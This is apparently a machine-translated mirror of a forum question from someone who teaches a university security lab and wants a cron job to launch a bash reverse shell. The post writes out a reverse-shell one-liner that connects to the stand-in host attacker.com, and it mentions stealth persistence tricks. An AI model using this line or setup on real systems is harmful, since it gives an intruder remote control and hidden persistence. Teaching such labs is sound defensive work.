小编C0n*_*r07的帖子

Bash反向Shell命令Cron作业不起作用-我放弃了

我在一所大学教授网络安全,并正在编写有关Netcat和反向Shell的实验室。我创建了一个cron作业,该作业运行一个连接到我的侦听器的脚本。很好 问题是指纹过多,可以删除脚本。实验室的一部分内容是进行隐身操作(例如在输入的任何命令前都留一个空格)。

我正在尝试执行此命令。现在的频率并不重要,尽管最终它将在启动时每30分钟运行一次。

/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1
Run Code Online (Sandbox Code Playgroud)

从命令行运行时,该命令将起作用,并建立反向外壳。我不想使用端口80,因为我DO想,如果一个学生决定尝试一些愚蠢此受阻。另外,下一个实验也在iptables上以阻止此端口。

我试过引号。我试过了sudo。末尾加双“&”号。末尾有单个“&”号。/ tcp /路径的进一步限定。我认为我不需要建立它从哪个tty会话运行(那很难)。在任何情况下,cron-run命令都不会成功。

crontab -l

# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day …
Run Code Online (Sandbox Code Playgroud)

linux bash cron netcat reverse-shell

4
推荐指数
1
解决办法
819
查看次数

标签 统计

bash ×1

cron ×1

linux ×1

netcat ×1

reverse-shell ×1